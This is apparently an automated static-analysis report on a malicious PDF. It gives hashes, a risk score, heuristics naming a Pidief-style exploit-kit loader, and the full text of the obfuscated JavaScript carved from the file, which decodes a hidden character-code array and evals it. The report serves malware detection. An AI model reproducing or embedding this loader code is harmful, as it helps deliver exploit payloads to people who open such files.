Malicious PDF — malware analysis report

Static analysis result for SHA-256 f6c591131c035a80…

MALICIOUS

PDF

44.8 KB First seen: 2026-05-08
MD5: 6f99501e61cbb4d6b600565533616237 SHA-1: 8d0fa35daca6ac87275afb20772a8d3d4dc80688 SHA-256: f6c591131c035a80221972a68c0d6ac5886746a19891c9c2acdc84e88756fccd
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFB9 614 bytes
SHA-256: 04a7a8c7774952c31b0f046b081469fad198d85ce878b86bae6bb5e1dc5e3004
Preview script
First 1,000 lines of the extracted script
gmeic='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w","v",'r'];
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
dfsg=e('ti'+'tle');
s=dfsg.substr(t.length + 8,3)+'str';
q=dfsg[s](1,(1,9));
qcswv=e('S'+'tring.fro'+q);
q=dfsg[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	gzekf = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	gmeic += qcswv(gzekf);
}
e(gmeic);

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